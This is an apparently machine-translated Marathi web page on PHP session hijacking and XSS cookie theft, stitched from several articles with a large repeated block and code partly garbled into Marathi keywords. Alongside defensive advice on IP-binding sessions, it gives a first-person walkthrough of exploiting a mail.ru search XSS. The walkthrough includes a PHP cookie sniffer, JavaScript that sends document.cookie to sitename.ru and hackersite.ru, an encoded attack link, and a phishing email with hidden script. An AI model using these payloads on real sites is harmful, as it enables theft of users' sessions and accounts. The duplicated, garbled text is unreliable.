सत्र चोरी. PHP मध्ये सुरक्षित प्रोग्रामिंग. सत्र चोरी कुकी चोरी

बातम्या 09.12.2020
बातम्या
  1. वापरकर्त्यास वापरकर्तानाव आणि संकेतशब्द विचारला जातो.
  2. अधिकृतता यशस्वी झाल्यास, "अधिकृतीकरण यशस्वी" मूल्यासह एक नवीन सत्र तयार केले जाईल.
  3. वापरकर्त्याला एक युनिक आयडेंटिफायर (SID) नियुक्त केले आहे, ज्याचा आगाऊ अंदाज लावला जाऊ शकत नाही, आणि म्हणून, निवडला जाऊ शकत नाही :).
  4. SID ब्राउझरच्या कुकीजमध्ये रेकॉर्ड केला जातो किंवा ब्राउझरच्या अॅड्रेस बारद्वारे प्रसारित केला जातो (कुकीज अक्षम असल्यास).

यशस्वी अधिकृततेच्या परिणामी, स्क्रिप्टला $_SESSION सुपरग्लोबल अॅरेमधून व्हेरिएबल्सच्या मूल्यांमध्ये प्रवेश मिळतो, ज्याच्या उपस्थितीद्वारे स्क्रिप्ट काही स्त्रोतांमध्ये प्रवेश प्रदान करते, उदाहरणार्थ, साइट प्रशासन पॅनेलचे प्रवेशद्वार.

समस्या अशी आहे की आक्रमणकर्त्याने दुसर्‍या वापरकर्त्याचा SID कसा तरी शिकला तर तो त्याच्या कुकीजमध्ये किंवा ब्राउझरच्या अॅड्रेस बारमध्ये बदलू शकतो आणि या वापरकर्त्याच्या अधिकारांसह साइट प्रविष्ट करू शकतो.

टिप्पणी

काही वर्षांपूर्वी, रिमोट बँक खाते व्यवस्थापन प्रणालींनी फक्त शेवटच्या वापरलेल्या मूल्यामध्ये एक जोडून एक अद्वितीय क्रमांक (SID) व्युत्पन्न केल्यावर अनेक घोटाळे झाले होते. जलद प्राधिकृततेमुळे दोन SID मूल्ये जारी करण्यात आली, चला 40346 आणि 40348 म्हणू या. क्रमांक 40347 च्या जागी दुसर्‍याच्या खात्यात प्रवेश करण्याची परवानगी दिली :).

सध्या, SID संख्या आणि अक्षरांचा एक अद्वितीय क्रम दर्शवितो जो मीटरला जोडलेला नाही. पण हल्लेखोर दुसऱ्याचा SID कसा शोधतो?

दोन सर्वात सामान्य पर्याय आहेत:

1. उदाहरणार्थ, सत्राच्या मालकाने ते स्वतः दाखवले, अनवधानाने या प्रकारची लिंक फोरम किंवा गेस्टबुकवर कुठेतरी सोडली.

http://forum.dklab.ru/?sid=

या पत्त्यावर जाण्याने आक्रमणकर्त्याला त्या वापरकर्त्याचे अधिकार आपोआप मंजूर होतात ज्यांच्यासाठी अभिज्ञापकासह सत्र वाटप केले जाते.
अर्थात, काही काळानंतर कोणतीही क्रियाकलाप नसल्यास वापरकर्ता सत्र नष्ट केले जाते. आणि म्हणून हल्लेखोराने घाई करावी :). दुसरीकडे, कोळी (कोळी) चा एकूण प्रसार आपल्याला अशा दुव्यांसाठी एक हेतुपूर्ण स्वयंचलित शोध आयोजित करण्यास अनुमती देतो.

2. जरी सत्र ब्राउझर लाइनमध्ये स्पष्टपणे निर्दिष्ट केलेले नसले तरीही, परंतु कुकीजमध्ये संग्रहित केले जाते. हल्लेखोराला अद्याप ओळखकर्त्याचा ताबा घेण्याची संधी आहे. सर्वात सोप्या अतिथी पुस्तकाची एक छोटी स्क्रिप्ट विचारात घ्या.



मजकूर:


addmsg.php हँडलरची सामग्री खाली दर्शविली आहे

जर(!रिक्त($_POST [ "मजकूर" ]))
{
$लाइन = str_replace("/ ?
/s" , " " , $_POST [ "मजकूर" ]);
// डेटाबेस किंवा फाइलवर लिहा
}
इतर
{
बाहेर पडा(
"त्रुटी");
}
?>

कृपया लक्षात घ्या की स्क्रिप्ट स्पष्टपणे htmlspecialchars() फंक्शनला कॉल वगळते, जे वर्ण रूपांतरित करते< в < и >मध्ये > परिणामी, आक्रमणकर्ता मजकूरात कोणतेही HTML टॅग आणि JavaScript स्क्रिप्ट घालू शकतो.

आणि आम्हाला काय मिळते? एक लहान निरीक्षण (ब्राउझरला संदेश प्रदर्शित करण्यापूर्वी फक्त काही htmlविशेष अक्षर () चुकलेले दिसते), जे तुम्हाला आक्रमणकर्त्याचे पृष्ठ एका नवीन विंडोमध्ये लोड करण्यास अनुमती देते, कुकीजमधून मूल्ये पास करते.
या प्रकारच्या भेद्यतेला सामोरे जाण्यासाठी, "शाश्वत" पद्धतींचा सामना करणे चांगले आहे, "ज्या सर्व गोष्टींना परवानगी नाही ते प्रतिबंधित आहे" या तत्त्वावर कार्य करणे. आपण SID लपवू नये आणि मजकूर मल्टी-स्टेज चेकच्या अधीन करू नये - या प्रकरणात त्रुटी निर्माण होण्याची शक्यता केवळ वाढते. या प्रकरणात अधिक विश्वासार्ह म्हणजे सत्राचा मालक असलेल्या वापरकर्त्याच्या IP पत्त्यावर SID बंधनकारक करण्याची पद्धत. ही पद्धत phpBB सारख्या अनेक सुप्रसिद्ध मंचांमध्ये मोठ्या प्रमाणावर वापरली जाते.
अधिकृतता स्क्रिप्ट

तर ( लॉगिन आणि पासवर्ड बरोबर आहेत)
{
$_SESSION [ "अधिकृत" ] = खरे ;
$_SESSION [ "ip" ] = $_SERVER [ "REMOTE_ADDR" ];
}
?>

नंतर विशिष्ट संसाधनास प्रवेश देणार्‍या स्क्रिप्टमध्ये खालील कोड असू शकतो

जर (!रिक्त($_SESSION [ "अधिकृत" ]) &&
$_SESSION [ "ip" ] == $_SERVER [ "REMOTE_ADDR" ])
{
// संसाधनात प्रवेश खुला आहे.
}
else die("प्रवेश नाकारला.");
?>

त्या. आता फक्त वापरकर्ता ज्याचा IP पत्ता अधिकृततेदरम्यान सर्व्हरवर प्रसारित केलेल्या IP पत्त्याशी जुळतो तोच या सत्रासह कार्य करू शकतो. जर आक्रमणकर्त्याने सत्रात व्यत्यय आणला, तर त्याच्याकडे वेगळा IP पत्ता आहे :) - म्हणून त्याला प्रवेश नाकारला जाईल.

ही पद्धत सार्वत्रिक नाही आणि तिच्यात कमतरता देखील आहेत.

  1. जर वापरकर्ता आणि आक्रमणकर्त्याने सामान्य प्रॉक्सी सर्व्हरद्वारे इंटरनेटवर प्रवेश केला, तर त्यांच्याकडे एक सामान्य IP पत्ता असेल (हे विद्यापीठे, कारखाने आणि इतर मोठ्या संस्थांच्या नेटवर्कसाठी वैशिष्ट्यपूर्ण आहे), उदा. प्रत्येकजण शेजाऱ्याचा SID चोरू शकतो, किमान वरील पद्धतींनी.

ज्यामध्ये माहिती सुरक्षेच्या मुद्द्यांसाठी समर्पित विनामूल्य कार्यक्रमास उपस्थित राहण्याचा प्रस्ताव होता. हा कार्यक्रम माझ्या शहरात आयोजित करण्यात आला असल्याने, मी न चुकता तिथे जायचे आहे असे ठरवले. पहिला धडा XSS सारख्या साइटवरील भेद्यतेसाठी समर्पित होता. धड्यानंतर, मी ठरवले की मला वास्तविक परिस्थितीत प्राप्त केलेले ज्ञान एकत्रित करणे आवश्यक आहे. मी माझ्या शहराशी संबंधित अनेक साइट्स निवडल्या आणि माझी स्क्रिप्ट सर्व प्रकारांमध्ये चिकटवण्याचा प्रयत्न करू लागलो. बहुतेक प्रकरणांमध्ये, स्क्रिप्ट फिल्टर केली गेली. परंतु असे घडले की "अलर्ट" कार्य केले आणि माझा संदेश दिसला. मी प्रशासकांना आढळलेल्या भेद्यतेची तक्रार केली आणि त्यांनी सर्व काही त्वरीत दुरुस्त केले.

त्यापैकी एका दिवशी, mail.ru वर नवीन मेल तपासत असताना, मला मेलबॉक्समध्ये अक्षरे शोधण्यासाठी एक फॉर्म आला. अधूनमधून मी माझ्या जुन्या पत्रांच्या ढिगात मला आवश्यक असलेले काहीतरी शोधण्यासाठी या शोधाचा वापर केला. बरं, गेल्या काही दिवसांत मी जवळजवळ सर्वत्र माझा “सूचना” घातला असल्याने, माझा हात या शोध फॉर्मसाठी प्रतिक्षिप्तपणे पोहोचला. मी माझा स्क्रिप्ट कोड टाईप केला आणि एंटर दाबले. जेव्हा मी स्क्रीनवर एक वेदनादायक परिचित संदेश पाहिला तेव्हा माझ्या आश्चर्याची कल्पना करा ...


ओपन इन्फोसेक डेज लेक्चरमध्ये, स्पीकर म्हणाले की प्रोग्रामर या प्रकारच्या भेद्यतेबद्दल साशंक आहेत, ते म्हणतात, "अलर्ट? बरं, मग काय? हे धोकादायक नाही." जर इतर साइट्सवर मी माझ्या संदेशासह फक्त या विंडोमध्ये समाधानी होतो, तर या प्रकरणात मी आणखी पुढे जाण्याचा निर्णय घेतला आणि अशा "सूचना" मधून काय येऊ शकते हे दर्शविण्याचा निर्णय घेतला.

तर, स्क्रिप्ट कार्य करते, याचा अर्थ एक असुरक्षा आहे. म्हणून, तुम्ही दुसरी स्क्रिप्ट चालवण्याचा प्रयत्न करू शकता. उदाहरणार्थ, दुसर्‍या वापरकर्त्याच्या कुकीज आमच्याकडे पाठवणारी स्क्रिप्ट. स्क्रिप्ट कार्य करण्यासाठी, आम्ही वापरकर्त्याला आमची स्क्रिप्ट कार्यान्वित करण्यास भाग पाडणे आवश्यक आहे. हे त्याला योग्य दुव्यासह एक पत्र पाठवून केले जाऊ शकते, त्यावर क्लिक केल्यानंतर मेलबॉक्स शोधला जाईल आणि आम्हाला आवश्यक असलेला कोड कार्यान्वित केला जाईल.

असुरक्षिततेचे यांत्रिकी समजून घेण्यासाठी थोडा वेळ आणि बरेच प्रयोग झाले. कधी स्क्रिप्ट चालली, कधी गाळली गेली. काही प्रयत्नांनंतर, प्रायोगिकदृष्ट्या, असे आढळून आले की अक्षरांच्या शोधाने सकारात्मक परिणाम दिल्यास स्क्रिप्ट केवळ 100% कार्य करते. म्हणजेच, जेव्हा एखादा वापरकर्ता आमच्या स्क्रिप्टसह शोध घेतो तेव्हा निर्दिष्ट पॅरामीटर्सनुसार त्याच्या मेलबॉक्समध्ये किमान एक अक्षर सापडणे आवश्यक आहे. ते सेट करणे कठीण नाही.

जर (आयसेट($_GET["कुकी"]))
{
$text = "नवीन कुकी कडून स्वीकारा". $_SERVER["REMOTE_ADDR"] ." येथे. तारीख("l jS \चा F Y h:i:s A");
$text.= "\n".str_repeat("=", 22) . "\n" . $_GET["कुकी"]."\n".str_repeat("=", 22)."\n";
$file = fopen("sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}
?>

तसेच, "सूचना" ऐवजी, आम्हाला स्क्रिप्टची आवश्यकता आहे जी आमच्या स्निफरमध्ये कुकीज हस्तांतरित करेल. आम्ही ही स्क्रिप्ट वेगळ्या फाईलमध्ये लिहू आणि आमच्या शोधात अपलोड करू. मी आवश्यक कोड असलेली test.js फाइल तयार केली आणि ती होस्टिंगवर अपलोड केली. स्क्रिप्ट कोड हा आहे:

Img=newImage();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
फंक्शन F() (
स्थान="http://www.solife.ru";
}
सेटटाइमआउट(F, 5000);

मी येथे काय स्पष्ट करू इच्छितो. चला स्वतःला हल्लेखोराच्या जागी ठेवूया. वापरकर्त्याने लिंकवर क्लिक करणे आवश्यक आहे. त्याला ते कसे करायला लावायचे? आपण सोन्याचे पर्वत वचन देऊ शकता आणि ते मिळविण्यासाठी आपल्याला साइटवरील आमच्या दुव्याचे अनुसरण करणे आवश्यक आहे. पण ते चालेल असे वाटत नाही. लोक आता यावर नाहीत (मी स्वतः अशी पत्रे सतत हटवत असतो, ती न वाचता देखील). म्हणून, आम्ही मानवी दया खेळू, कारण ते अजूनही निसर्गात अस्तित्वात आहे. आम्ही तुम्हाला उध्वस्त प्राण्यांच्या तारणासाठी साइटवर मतदान करण्यास सांगू. प्रथम, आम्ही कुकीज घेऊ, आणि नंतर आम्ही वापरकर्त्याला मतदान साइटवर पुनर्निर्देशित करू. रीडायरेक्शनची कालबाह्यता 5 सेकंदांवर सेट केली गेली होती, अन्यथा कुकीजना फक्त स्निफरवर प्रसारित करण्यासाठी वेळ नव्हता आणि वापरकर्त्यास प्राण्यांबद्दल साइटवर त्वरित हस्तांतरित केले गेले. "अलर्ट" ऐवजी मी खालील स्क्रिप्ट वापरली:

स्क्रिप्ट्स संपल्यावर मी पत्र लिहायला सुरुवात केली. खालील सामग्रीसह आले:


हे अगदी निंदनीयपणे बाहेर पडले, परंतु मी परिस्थितीला सर्वात वास्तववादी जवळ आणण्याचा प्रयत्न केला. पत्राच्या शेवटी, स्क्रिप्टसह एक ओळ जोडली आहे, ही अशी आहे की जेव्हा आपण शोध घेतो तेव्हा आपले पत्र सापडेल. रेषेमुळे अनावश्यक प्रश्न उद्भवू नयेत म्हणून मी ती पांढऱ्या रंगात रंगवली. मी "http" शब्दात एक जागा देखील ठेवली आहे जेणेकरून स्ट्रिंग ओळखली जाऊ नये आणि दुव्यामध्ये रूपांतरित होईल. अन्यथा, स्क्रिप्ट ओळ पांढऱ्या फॉन्टमध्ये लिहिलेली असली तरीही, पत्त्यावर लिंक निळ्या रंगात हायलाइट केली जाईल आणि आम्हाला याची आवश्यकता नाही. स्पेसची पर्वा न करता स्मार्ट शोध अजूनही ही स्ट्रिंग शोधेल आणि ओळखेल.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

स्क्रिप्टसाठी, मी URL एन्कोडिंग लागू केले जेणेकरून काहीही फिल्टर केले जाणार नाही. मी शोधासाठी “q_folder=0” पॅरामीटर देखील जोडले आहे, जेणेकरून शोध इनबॉक्स फोल्डरमध्ये होईल.

पत्र तयार आहे, आम्ही ते पाठवतो. मी माझा दुसरा मेलबॉक्स पत्त्याच्या समान सेवेवर वापरला. आम्ही दुसऱ्या बॉक्समध्ये काय आले ते पाहतो.

आमचा स्क्रिप्ट मजकूर पार्श्वभूमीत मिसळल्यामुळे दिसत नाही. चला दुव्यावर क्लिक करा आणि काय होते ते पाहूया. आम्ही सेट केलेल्या पॅरामीटरद्वारे वापरकर्त्याला ईमेलच्या शोध परिणामांमध्ये हलवले जाते. आम्ही पाठवलेले आमचे पत्र शोध परिणामांमध्ये दृश्यमान आहे. यावेळी, आमच्या स्क्रिप्टने आधीच काम केले आहे आणि वापरकर्त्याच्या कुकीज स्निफरला पाठवल्या आहेत. 5 सेकंदांनंतर (वेळ स्क्रिप्ट सेटिंग्जवर अवलंबून असते), वापरकर्त्यास मतदान साइटवर पुनर्निर्देशित केले जाते.

मी माझी sniff.txt फाइल तपासतो:

इतर लोकांचे बॉक्स चोरणे किंवा त्यात प्रवेश मिळवणे हे माझे ध्येय नसल्यामुळे, मी कथा येथे संपवीत आहे. परंतु सैद्धांतिकदृष्ट्या, तुम्ही तुमच्या कुकीज दुस-याच्या कुकीजसह बदलू शकता आणि दुसर्‍याच्या मेलबॉक्समध्ये प्रवेश मिळवू शकता. सर्वसाधारणपणे, जर हल्लेखोराने लक्ष्यावर आग लावली तर त्याला मिळालेल्या माहितीचा उपयोग होईल.

मी सेर्गेई बेलोव्हचे आभार मानू इच्छितो (

  1. वापरकर्त्यास वापरकर्तानाव आणि संकेतशब्द विचारला जातो.
  2. अधिकृतता यशस्वी झाल्यास, "अधिकृतीकरण यशस्वी" मूल्यासह एक नवीन सत्र तयार केले जाईल.
  3. वापरकर्त्याला एक युनिक आयडेंटिफायर (SID) नियुक्त केले आहे, ज्याचा आगाऊ अंदाज लावला जाऊ शकत नाही, आणि म्हणून, निवडला जाऊ शकत नाही :).
  4. SID ब्राउझरच्या कुकीजमध्ये रेकॉर्ड केला जातो किंवा ब्राउझरच्या अॅड्रेस बारद्वारे प्रसारित केला जातो (कुकीज अक्षम असल्यास).

यशस्वी अधिकृततेच्या परिणामी, स्क्रिप्टला $_SESSION सुपरग्लोबल अॅरेमधून व्हेरिएबल्सच्या मूल्यांमध्ये प्रवेश मिळतो, ज्याच्या उपस्थितीद्वारे स्क्रिप्ट काही संसाधनांमध्ये प्रवेश प्रदान करते, उदाहरणार्थ, साइट प्रशासन पॅनेलचे प्रवेशद्वार.

समस्या अशी आहे की आक्रमणकर्त्याने दुसर्‍या वापरकर्त्याचा SID कसा तरी शिकला तर तो त्याच्या कुकीजमध्ये किंवा ब्राउझरच्या अॅड्रेस बारमध्ये बदलू शकतो आणि या वापरकर्त्याच्या अधिकारांसह साइट प्रविष्ट करू शकतो.

टिप्पणी

काही वर्षांपूर्वी, रिमोट बँक खाते व्यवस्थापन प्रणालींनी फक्त शेवटच्या वापरलेल्या मूल्यामध्ये एक जोडून एक अद्वितीय क्रमांक (SID) व्युत्पन्न केल्यावर अनेक घोटाळे झाले होते. जलद प्राधिकृततेमुळे दोन SID मूल्ये जारी करण्यात आली, चला 40346 आणि 40348 म्हणू या. क्रमांक 40347 च्या जागी दुसर्‍याच्या खात्यात प्रवेश करण्याची परवानगी दिली :).

सध्या, SID संख्या आणि अक्षरांचा एक अद्वितीय क्रम दर्शवितो जो मीटरला जोडलेला नाही. पण हल्लेखोर दुसऱ्याचा SID कसा शोधतो?

दोन सर्वात सामान्य पर्याय आहेत:

1. उदाहरणार्थ, सत्राच्या मालकाने ते स्वतः दाखवले, अनवधानाने या प्रकारची लिंक फोरम किंवा गेस्टबुकवर कुठेतरी सोडली.

http://forum.dklab.ru/?sid=

या पत्त्यावर जाण्याने आक्रमणकर्त्याला त्या वापरकर्त्याचे अधिकार आपोआप मंजूर होतात ज्यांच्यासाठी अभिज्ञापकासह सत्र वाटप केले जाते.
अर्थात, काही काळानंतर कोणतीही क्रियाकलाप नसल्यास वापरकर्ता सत्र नष्ट केले जाते. आणि म्हणून हल्लेखोराने घाई करावी :). दुसरीकडे, कोळी (कोळी) चा एकूण प्रसार आपल्याला अशा दुव्यांसाठी एक हेतुपूर्ण स्वयंचलित शोध आयोजित करण्यास अनुमती देतो.

2. जरी सत्र ब्राउझर लाइनमध्ये स्पष्टपणे निर्दिष्ट केलेले नसले तरीही, परंतु कुकीजमध्ये संग्रहित केले जाते. हल्लेखोराला अद्याप ओळखकर्त्याचा ताबा घेण्याची संधी आहे. सर्वात सोप्या अतिथी पुस्तकाची एक छोटी स्क्रिप्ट विचारात घ्या.



मजकूर:


addmsg.php हँडलरची सामग्री खाली दर्शविली आहे

जर(!रिक्त($_POST [ "मजकूर" ]))
{
$लाइन = str_replace("/ ?
/s" , " " , $_POST [ "मजकूर" ]);
// डेटाबेस किंवा फाइलवर लिहा
}
इतर
{
निर्गमन ("त्रुटी");
}
?>

कृपया लक्षात ठेवा की स्क्रिप्ट स्पष्टपणे htmlspecialchars() फंक्शनला कॉल वगळते, जे वर्णांना > मध्ये रूपांतरित करते, परिणामी आक्रमणकर्ता मजकूरात कोणतेही HTML टॅग आणि JavaScript स्क्रिप्ट घालू शकतो.

आणि आम्हाला काय मिळते? एक लहान निरीक्षण (ब्राउझरला संदेश प्रदर्शित करण्यापूर्वी फक्त काही htmlविशेष अक्षर () चुकलेले दिसते), जे तुम्हाला आक्रमणकर्त्याचे पृष्ठ एका नवीन विंडोमध्ये लोड करण्यास अनुमती देते, कुकीजमधून मूल्ये पास करते.
या प्रकारच्या भेद्यतेला सामोरे जाण्यासाठी, "शाश्वत" पद्धतींचा सामना करणे चांगले आहे, "ज्या सर्व गोष्टींना परवानगी नाही ते प्रतिबंधित आहे" या तत्त्वावर कार्य करणे. आपण SID लपवू नये आणि मजकूर मल्टी-स्टेज चेकच्या अधीन करू नये - या प्रकरणात त्रुटी निर्माण होण्याची शक्यता केवळ वाढते. या प्रकरणात अधिक विश्वासार्ह म्हणजे सत्राचा मालक असलेल्या वापरकर्त्याच्या IP पत्त्यावर SID बंधनकारक करण्याची पद्धत. ही पद्धत phpBB सारख्या अनेक सुप्रसिद्ध मंचांमध्ये मोठ्या प्रमाणावर वापरली जाते.
अधिकृतता स्क्रिप्ट

तर ( लॉगिन आणि पासवर्ड बरोबर आहेत)
{
$_SESSION [ "अधिकृत" ] = खरे ;
$_SESSION [ "ip" ] = $_SERVER [ "REMOTE_ADDR" ];
}
?>

नंतर विशिष्ट संसाधनास प्रवेश देणार्‍या स्क्रिप्टमध्ये खालील कोड असू शकतो

जर (!रिक्त($_SESSION [ "अधिकृत" ]) &&
$_SESSION [ "ip" ] == $_SERVER [ "REMOTE_ADDR" ])
{
// संसाधनात प्रवेश खुला आहे.
}
else die("प्रवेश नाकारला.");
?>

त्या. आता फक्त वापरकर्ता ज्याचा IP पत्ता अधिकृततेदरम्यान सर्व्हरवर प्रसारित केलेल्या IP पत्त्याशी जुळतो तोच या सत्रासह कार्य करू शकतो. जर आक्रमणकर्त्याने सत्रात व्यत्यय आणला, तर त्याच्याकडे वेगळा IP पत्ता आहे :) - म्हणून त्याला प्रवेश नाकारला जाईल.

ही पद्धत सार्वत्रिक नाही आणि तिच्यात कमतरता देखील आहेत.

  1. जर वापरकर्ता आणि आक्रमणकर्त्याने सामान्य प्रॉक्सी सर्व्हरद्वारे इंटरनेटवर प्रवेश केला, तर त्यांच्याकडे एक सामान्य IP पत्ता असेल (हे विद्यापीठे, कारखाने आणि इतर मोठ्या संस्थांच्या नेटवर्कसाठी वैशिष्ट्यपूर्ण आहे), उदा. प्रत्येकजण शेजाऱ्याचा SID चोरू शकतो, किमान वरील पद्धतींनी.
  2. जर वापरकर्ता मॉडेम वापरत असेल आणि कनेक्शनमध्ये व्यत्यय आला असेल, तर कनेक्शन पुनर्संचयित केल्यानंतर, त्याला बहुधा वेगळा IP पत्ता नियुक्त केला जाईल. घुसखोरांच्या श्रेणीत बिनदिक्कतपणे नाव नोंदवल्यास वापरकर्त्याला अप्रिय आश्चर्य वाटेल (म्हणूनच, संरक्षण प्रणालींमध्ये धमक्या लिहिणे आणि विवेकाला आवाहन करणे योग्य नाही - अशा सिस्टममध्ये देखील त्रुटी आहेत). शेवटचा गैरसोय फोरममध्ये होतो, ज्यांच्या अभ्यागतांना इंटरनेट बंद करण्याची आणि लांब उत्तर टाइप करताना ऑफलाइन काम करण्याची सवय असते. "उत्तर द्या" बटण दाबल्याने सर्व टाइप केलेली माहिती गमावली जाते, कारण आक्रमणकर्त्याने टाइप केलेला मजकूर जतन करण्याची कोणीही काळजी घेत नाही :))).

बाहेर पडा: (किंवा त्याऐवजी अर्ध-एक्झिट) ओळखीसाठी फक्त IP पत्त्याचे पहिले 3 अंक तपासा, SID चोरी अजूनही सांख्यिकीयदृष्ट्या संभव नाही, परंतु बहुतेक प्रकरणांमध्ये हे तुम्हाला कनेक्शन डिस्कनेक्ट करण्याबद्दल अधिक सौम्य वागण्याची अनुमती देते, कारण प्रदाते सहसा वाटप करतात IP पत्त्यांची एक न मोडणारी श्रेणी, ज्यामध्ये फक्त शेवटचा अंक बदलतो.

कुकी म्हणजे काय?

अशी एक यंत्रणा आहे जी HTTP सर्व्हरला वापरकर्त्याच्या संगणकावर काही मजकूर माहिती संग्रहित करण्यास आणि नंतर त्यात प्रवेश करण्यास अनुमती देते. या माहितीला कुकी म्हणतात. खरं तर, प्रत्येक कुकी एक जोडी आहे: पॅरामीटरचे नाव आणि त्याचे मूल्य. प्रत्येक कुकीला ती ज्या डोमेनशी संबंधित आहे ते देखील नियुक्त केले जाते. सुरक्षिततेच्या उद्देशाने, सर्व ब्राउझरमध्ये, http सर्व्हरला फक्त त्याच्या स्वतःच्या डोमेन कुकीमध्ये प्रवेश करण्याची परवानगी आहे. याव्यतिरिक्त, कुकीजची कालबाह्यता तारीख असू शकते, अशा परिस्थितीत त्या या तारखेपर्यंत संगणकावर संग्रहित केल्या जातील, जरी सर्व ब्राउझर विंडो बंद असल्या तरीही.


कुकीज का महत्त्वाच्या आहेत?

सर्व बहु-वापरकर्ता प्रणालींमध्ये, कुकीज वापरकर्त्याला ओळखण्यासाठी वापरल्या जातात. किंवा त्याऐवजी, सेवेसह वापरकर्त्याचे वर्तमान कनेक्शन, वापरकर्ता सत्र. जर कोणी तुमच्या कुकीज ओळखत असेल तर ते तुमच्या वतीने लॉग इन करू शकतात. कारण याक्षणी, खूप कमी इंटरनेट संसाधने एका वापरकर्ता सत्रादरम्यान आयपी पत्त्यातील बदल तपासतात.


कुकीज कसे बदलायचे किंवा कसे बदलायचे?

ब्राउझर विकसक कुकीज संपादित करण्यासाठी अंगभूत साधने प्रदान करत नाहीत. परंतु तुम्ही नियमित नोटपॅड (नोटपॅड) वापरून मिळवू शकता.


पायरी 1: मजकूरासह मजकूर फाइल तयार करा

विंडोज रेजिस्ट्री एडिटर आवृत्ती 5.00



@="C:\\IE_ext.htm"

आम्ही ते IE_ext.reg या नावाने सेव्ह करतो

पायरी 2: तयार केलेली फाईल वापरून, Windows नोंदणीमध्ये बदल जोडा.

पायरी 3: मजकूरासह मजकूर फाइल तयार करा

< script भाषा="javascript">
external.menuArguments.clipboardData.setData("मजकूर" , external.menuArguments.document.cookie);

external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru";
इशारा(external.menuArguments.document.cookie);


C:\IE_ext.htm म्हणून सेव्ह करा

पायरी 4: आम्ही आमच्या आवडीच्या वेबसाइटवर जातो.

पायरी 5: पृष्ठावरील रिकाम्या जागेवर उजवे-क्लिक करा आणि मेनू आयटम निवडा "कुकीजसह कार्य करणे". क्लिपबोर्डवर प्रवेश करण्याची परवानगी द्या. या साइटसाठी तुमच्या कुकीज क्लिपबोर्डवर ठेवल्या जातील. तुम्ही त्यांचे नोटपॅड (नोटपॅड) पेस्ट करून पाहू शकता.


पायरी 6: काही कुकी बदलण्यासाठी, C:\IE_ext.htm फाइल संपादित करा, बदलून चाचणी नावकुकीच्या नावाने, चाचणी मूल्य- त्याच्या अर्थावर, testdomain.ru- वेबसाइट डोमेनवर. आवश्यक असल्यास यासारख्या आणखी ओळी जोडा. नियंत्रणाच्या सोयीसाठी, मी बदलापूर्वी आणि नंतर स्क्रिप्टमध्ये वर्तमान कुकीजचे आउटपुट जोडले: इशारा(external.menuArguments.document.cookie);

चरण 7: चरण 5 पुन्हा चालवा आणि नंतर पृष्ठ रीफ्रेश करा.

तळ ओळ: आम्ही अपडेट केलेल्या कुकीजसह या इंटरनेट संसाधनावर जाऊ.

JavaScript सह कुकीज कशी चोरायची?

जर एखाद्या आक्रमणकर्त्याने पीडिताच्या संगणकावर अनियंत्रित JavaScript स्क्रिप्ट कार्यान्वित करण्याचा मार्ग शोधला, तर तो सध्याच्या कुकीज अगदी सहजपणे वाचू शकतो. उदाहरण:


varstr=document.cookie;

परंतु तो त्यांना त्याच्या साइटवर हस्तांतरित करण्यास सक्षम असेल, कारण मी आधी सांगितल्याप्रमाणे, JavaScript स्क्रिप्ट अतिरिक्त पुष्टीकरणाशिवाय दुसर्‍या डोमेनमध्ये असलेल्या साइटवर प्रवेश करू शकणार नाही? असे दिसून आले की JavaScript स्क्रिप्ट कोणत्याही HTTP सर्व्हरवर असलेली कोणतीही प्रतिमा लोड करू शकते. त्याच वेळी, डाउनलोड विनंतीमधील कोणतीही मजकूर माहिती या चित्रावर हस्तांतरित करा. उदाहरण: http://hackersite.ru/xss.jpg?text_infoतर तुम्ही हा कोड चालवल्यास:

varimg= नवीन प्रतिमा();

img.src= "http://hackersite.ru/xss.jpg?"+ encodeURI(document.cookie);


नंतर कुकीज "चित्र" डाउनलोड करण्याची आणि आक्रमणकर्त्याला "सोडण्याची" विनंती करतील.

"चित्र" अपलोड करण्याच्या अशा विनंत्या कशा हाताळायच्या?

आक्रमणकर्त्याला फक्त php समर्थनासह होस्टिंग शोधणे आणि यासारखे स्थान कोड असणे आवश्यक आहे:

$uid=urldecode($_SERVER["QUERY_STRING"]);
$fp=fopen("log.txt","a");
fputs($fp,"$uid\n");
fclose($fp);
?>

नंतर या स्क्रिप्टचे सर्व क्वेरी पॅरामीटर्स फाइलमध्ये सेव्ह केले जातील log.txt. ते बदलण्यासाठी फक्त पूर्वी वर्णन केलेल्या JavaScript स्क्रिप्टमध्येच राहते http://hackersite.ru/xss.jpgया php स्क्रिप्टच्या मार्गावर.


परिणाम

मी XSS असुरक्षा वापरण्याचा फक्त सोपा मार्ग दाखवला आहे. परंतु हे सिद्ध होते की बहु-वापरकर्ता इंटरनेट साइटवर अशा किमान एक असुरक्षिततेची उपस्थिती आक्रमणकर्त्यास आपल्या वतीने तिची संसाधने वापरण्याची परवानगी देऊ शकते.



आम्ही वाचण्याची शिफारस करतो

शीर्षस्थानी